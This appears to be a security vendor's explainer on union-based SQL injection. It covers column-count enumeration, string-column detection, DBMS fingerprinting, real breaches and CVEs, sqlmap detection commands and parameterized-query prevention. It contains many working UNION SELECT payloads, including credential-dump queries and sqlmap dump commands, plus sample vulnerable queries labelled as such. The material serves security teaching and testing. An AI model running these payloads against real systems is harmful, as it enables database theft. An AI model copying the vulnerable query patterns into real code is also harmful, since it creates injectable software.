Union-based SQLi

What is Union-Based SQL Injection#

Union-based SQL injection is the most direct form of in-band data extraction. When an application reflects query results in its HTTP response — a product list, a search result, a user profile — an attacker appends a second SELECT statement using the UNION keyword. The database executes both queries and returns both result sets, with the attacker's rows appearing alongside or replacing the legitimate application output.

This technique belongs to the in-band SQLi category under CWE-89. It requires two preconditions: the query result must be reflected in the response, and the attacker-controlled SELECT must produce the same number of columns as the original query, with compatible data types. When these conditions are met, union-based injection is the fastest extraction method — a single HTTP request can return an entire database schema or a full credential dump.

The technique is well-understood by automated tools. SQLMap's -technique=U flag specifically targets union-based injection. CVE-2024-1597 (PostgreSQL JDBC driver, CVSS 10.0) demonstrated how a misconfigured driver setting (preferQueryMode=SIMPLE) causes parameterized queries to degenerate into unsafe literal substitution, making any application using this configuration trivially union-injectable.

Mechanism#

The attack proceeds in four deterministic steps regardless of the target database engine.

Step 1 — Column count enumeration via ORDER BY (preferred):

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- error: "The ORDER BY position number 3 is out of range"
-- Column count = 2

The ORDER BY method is preferred because it does not modify the SELECT structure. WAFs and IDS systems looking for UNION keywords will not trigger on ORDER BY probes.

Step 2 — Column count confirmation via UNION SELECT NULL (when ORDER BY is suppressed):

' UNION SELECT NULL--          -- error if wrong count
' UNION SELECT NULL,NULL--     -- error if wrong count
' UNION SELECT NULL,NULL,NULL-- -- success when count matches

NULL is compatible with every common SQL data type, maximizing compatibility during enumeration without triggering type-mismatch errors.

Step 3 — Identify string-compatible columns:

' UNION SELECT 'a',NULL,NULL--    -- test column 1
' UNION SELECT NULL,'a',NULL--    -- test column 2
' UNION SELECT NULL,NULL,'a'--    -- test column 3

A string value appearing in the response identifies a column that accepts string output — necessary for exfiltrating text data from the target table.

Step 4 — Data extraction:

-- Schema enumeration (MySQL/PostgreSQL/MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
 
-- Column enumeration for specific table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
 
-- Credential dump — single column via concatenation (MySQL)
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -
 
-- Multiple columns
' UNION SELECT username,password,NULL FROM users--

Attack Variants#

The LOAD_FILE() and INTO OUTFILE variants require the MySQL account to hold the FILE privilege and secure_file_priv must be unset — common in legacy shared hosting environments but rare in modern containerized deployments.

Database-Specific Payloads#

Each database engine has unique syntax requirements for UNION-based extraction.

-- MySQL / MariaDB — version extraction (3-column table, column 2 is string)
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,@@version,NULL-- -
' UNION SELECT NULL,CONCAT(user(),'@',database()),NULL-- -
 
-- Table enumeration
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
 
-- PostgreSQL
' UNION SELECT NULL,version()::text,NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,current_database(),NULL--
 
-- MSSQL — FROM clause not required for constants
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT NULL,SYSTEM_USER,NULL--
 
-- Oracle — FROM clause REQUIRED; use DUAL for constants
' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1--
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE rownum=1--
' UNION SELECT NULL,user,NULL FROM dual--
 
-- SQLite
' UNION SELECT sqlite_version()--
' UNION SELECT name FROM sqlite_master WHERE type='table'--

Column-Count & UNION Fingerprinting#

Column count and database engine are not two separate guesses — they are outputs of one ordered procedure. Running the phases below in sequence minimizes request volume and avoids firing every engine's version function against a target that only needs one.

Phase 1 — Column count via ORDER BY (primary, stealthiest):

n = 1
loop:
    send  ' ORDER BY {n}--
    if response is error:      -- "ORDER BY position n is out of range"
        column_count = n - 1
        stop
    n = n + 1

ORDER BY never touches the SELECT list, so signature-based WAF rules keyed on the UNION keyword do not fire during this phase — the entire probe produces zero UNION SELECT traffic.

Phase 2 — Column count via UNION SELECT NULL padding (fallback):

n = 1
loop:
    send  ' UNION SELECT NULL{repeat(',NULL', n-1)}--
    if response has no error and result set changed:
        column_count = n
        stop
    n = n + 1

Use Phase 2 only when Phase 1 is inconclusive — some frameworks catch the database's ORDER BY exception and normalize it to a generic error page, hiding the position number Phase 1 depends on. If neither phase produces a usable signal because the application reflects nothing back at all, the injection point is not union-exploitable; move to the error-based extraction path, which leaks data through the error message itself instead of through the result set.

Phase 3 — Locate the string-compatible column:

for i in 1..column_count:              -- i is the 1-based SQL column position
    cols = ['NULL'] * column_count     -- cols is a 0-based list, hence i-1 below
    cols[i - 1] = "'zzqx'"
    send  ' UNION SELECT {join(cols, ',')}--
    if "zzqx" appears in response:
        string_col = i

Use an alphabetic marker such as 'zzqx', not a digit. Several engines implicitly convert a numeric-looking string like '1' into the column's native integer type without an error, producing a false-positive match on a column that cannot actually carry arbitrary text.

Phase 4 — DBMS fingerprint via concatenation behavior:

The four major engines disagree on the string-concatenation operator. Probing that disagreement identifies the engine family in a single extra request, before committing to a specific version function:

probe(string_col, "'a'||'b'")        -- Oracle or PostgreSQL: returns "ab"
probe(string_col, "'a'+'b'")         -- MSSQL: returns "ab"; PostgreSQL/Oracle raise a type error; MySQL returns 0 (silent numeric coercion)
probe(string_col, "CONCAT('a','b')") -- MySQL/MariaDB: returns "ab"

Read the three probes as a set, not individually. || returning ab narrows to Oracle or PostgreSQL; + returning ab isolates MSSQL; both returning 0 isolates MySQL/MariaDB, where || is the logical-OR operator rather than concatenation. The CONCAT() probe is a control, not a discriminator — PostgreSQL 9.1+ and MSSQL 2012+ implement it too (Oracle's accepts exactly two arguments), so a successful CONCAT() only confirms the column is still reflecting and the first two probes failed for engine reasons rather than because the injection broke. One caveat on the MySQL case: under ANSI or PIPES_AS_CONCAT sql_mode, MySQL treats || as concatenation and will answer ab like Oracle and PostgreSQL.

Once concatenation narrows the candidate to one or two engines, confirm the exact version with the matching call — version() for PostgreSQL, SELECT banner FROM v$version for Oracle (a FROM DUAL clause is required for any constant), or @@version for MSSQL and MySQL/MariaDB. Full per-engine extraction syntax is in Database-Specific Payloads above.

This four-phase sequence turns a suspected reflection point into a confirmed column layout and a fingerprinted DBMS in far fewer requests than a naive scanner burns blindly testing every engine's version function against every column position.

SQL injection stays a comparatively rare but disproportionately severe finding — OWASP's 2025 Top 10 injection trends report over 14,000 SQL injection CVEs despite low frequency, and union-based extraction is the reason a single confirmed injection point converts into a full schema dump in one request.

Real-World Examples#

Heartland Payment Systems (2008) — SQL injection against Heartland's transaction processing network exposed approximately 130 million credit and debit card records. Attackers used the initial SQL injection to gain a foothold on the internal network, then installed packet-sniffing malware on the transaction processing systems. At the time of disclosure, Heartland was the largest data breach ever recorded. The breach demonstrated that SQL injection is not limited to web application data extraction — it serves as an initial access vector for deeper network compromise.

CVE-2024-1597 — PostgreSQL JDBC Driver (CVSS 10.0, February 2024) — The PostgreSQL JDBC driver with preferQueryMode=SIMPLE fails to apply parameterization correctly. In this mode, the driver substitutes parameters directly into the query string as literals, effectively converting every parameterized query into a string-concatenated query. Any application using this driver configuration is fully union-injectable regardless of how carefully the application code is written. Detection requires fingerprinting the Java stack and checking preferQueryMode in connection string error traces.

CVE-2026-32306 / CVE-2026-33142 — OneUptime ClickHouse — SQL injection via sort, select, and groupBy aggregate query parameters. The initial fix for CVE-2026-32306 patched only the _aggregateBy method; CVE-2026-33142 followed to cover three remaining unprotected query construction paths. This illustrates a critical pattern: incomplete fixes for SQL injection are common when developers patch only the reported parameter and leave others untouched.

HackerOne #383127 — Valve Steam ($25,000 bounty) — SQL injection in report_xml.php via the countryFilter[] array parameter. Array parameter injection is systematically underdetected by scanners that test only scalar parameter values. The report notes that the payload used standard UNION SELECT against the reporting database.

Detection#

Manual Testing#

1. Append a single quote to the parameter: /search?q=test'. Look for a database error, empty result set, or altered content.
2. Run the Column-Count & UNION Fingerprinting procedure above to establish column count, the string-compatible column, and the target DBMS in a handful of requests.
3. Probe information_schema.tables (all_tables on Oracle, sysobjects on MSSQL — see Database-Specific Payloads) once a working payload is confirmed.
4. Test array parameters (filter[]=1), JSON body fields, and X-Forwarded-For / User-Agent headers — scanners that check only scalar query parameters miss these, exactly the gap HackerOne #383127 above exploited via countryFilter[].

Automated Detection#

# Standard GET parameter scan
sqlmap -u "https://target.com/search?q=test" \
  --technique=U --batch --dbs
 
# JSON body union injection
sqlmap -u "https://target.com/api/search" \
  --data='{"query":"test"}' \
  --content-type="application/json" \
  --technique=U --batch
 
# Specific table dump after schema discovery
sqlmap -u "https://target.com/search?q=1" \
  -D target_db -T users --dump --batch
 
# Array parameter injection
sqlmap -u "https://target.com/report?filter[]=1" \
  --technique=U --batch

BreachVex detects union-based injection by scoring response changes on quote injection and boolean differential, then escalating confirmed probable findings to industry-standard offensive tooling for schema extraction.

Prevention#

Parameterized Queries#

Parameterized queries bind user input as a typed value, preventing it from being interpreted as SQL syntax regardless of content.

# Python psycopg2 — SAFE
cursor.execute(
    "SELECT name, price FROM products WHERE category = %s",
    (category,)
)
 
# VULNERABLE — f-string interpolation
cursor.execute(f"SELECT name, price FROM products WHERE category = '{category}'")

// Node.js pg — SAFE
const result = await client.query(
  'SELECT name, price FROM products WHERE category = $1',
  [category]
);
 
// VULNERABLE — template literal
await client.query(`SELECT name, price FROM products WHERE category = '${category}'`);

// Java PreparedStatement — SAFE
PreparedStatement stmt = conn.prepareStatement(
    "SELECT name, price FROM products WHERE category = ?"
);
stmt.setString(1, category);
ResultSet rs = stmt.executeQuery();

Error Handling#

Union-based injection requires the application to reflect query results. Suppressing verbose database errors removes the immediate union extraction channel, though blind techniques can still apply. Return generic error messages (400 Bad Request, 500 Internal Server Error) with no database-specific content. Log detailed errors server-side only.

Resources#

• SQL Injection — Pillar Overview

• PortSwigger — UNION Attacks

• OWASP SQL Injection Prevention Cheat Sheet

• NVD — CVE-2024-1597

• PortSwigger SQL Injection Cheat Sheet